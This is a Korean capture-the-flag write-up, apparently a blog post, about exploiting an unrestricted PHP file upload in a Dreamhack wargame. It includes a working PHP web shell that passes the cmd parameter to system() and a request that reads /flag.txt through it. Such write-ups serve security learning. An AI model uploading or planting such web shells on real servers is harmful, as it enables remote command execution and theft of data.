반응형
문제 설명
php로 작성된 파일 저장 시스템입니다.
파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다.
코드 분석
upload.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
...
<input type="file" id="InputFile" name="file">
...
- $_FILES["file"]
- <input type="file" name="file">에서 올라온 파일 정보
- 배열이라서 여러 정보가 들어있음
- $file = $_FILES["file"];
- 위 배열을 $file 변수에 담아 편하게 쓰는 것
- $name = $file["name"];
- 사용자가 업로드한 파일명
list.php
...
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
...
- ./uploads/ 디렉터리를 그대로 스캔해서 링크 생성
- 업로드한 파일이 웹에서 접근 가능
- 취약점 분석
- 업로드 파일에 대한 확장자 / 콘텐츠 타입 검증이 없음
- 파일명을 그대로 사용 → 경로조작 (../) 가능성 있음
- 업로드 경로가 웹 루트 하위 (./uploads/)라면 PHP 실행 가능
익스플로잇
다음과 같은 웹셸 파일을 업로드할 예정
<?php
if (isset($_GET["cmd"])) {
system($_GET["cmd"]);
} else {
echo "usage: ?cmd=whoami";
}
?>
- ?cmd=ls 같은 요청을 보내면 서버에서 ls 명령어가 실행됨

위 그림과 같이 shell.php로 만들어 파일을 업로드 해줌
List에 들어가 보면

다음과 같이 작성한 코드가 브라우저에 잘 작성된 것을 확인할 수 있음.
따라서 ?cat flag.txt 를 쳐주면?
http://host3.dreamhack.games:20925/uploads/shell.php/?cmd=cat%20/flag.txt

## cat flag.txt 로하면 안나오던데 왜 그런가요?
cat flag.txt 로 하면 현재 경로에 있는 flag.txt를 찾기 때문에 파일이 없어서 못찾는다.
cat /flag.txt로 하면 절대 경로로 flag.txt를 한거기 때문에 루트경로부터 찾아서 나온다.
쉽게 말해 flag.txt는 상대경로 탐색이고 /flag.txt시 절대 경로로 탐색한다.
반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| easy server side (0) | 2026.02.03 |
|---|---|
| php-1 (0) | 2026.02.02 |
| simple-ssti (0) | 2026.01.30 |
| simple_sqli chatgpt (0) | 2026.01.30 |
| CSRF Advacned (0) | 2026.01.23 |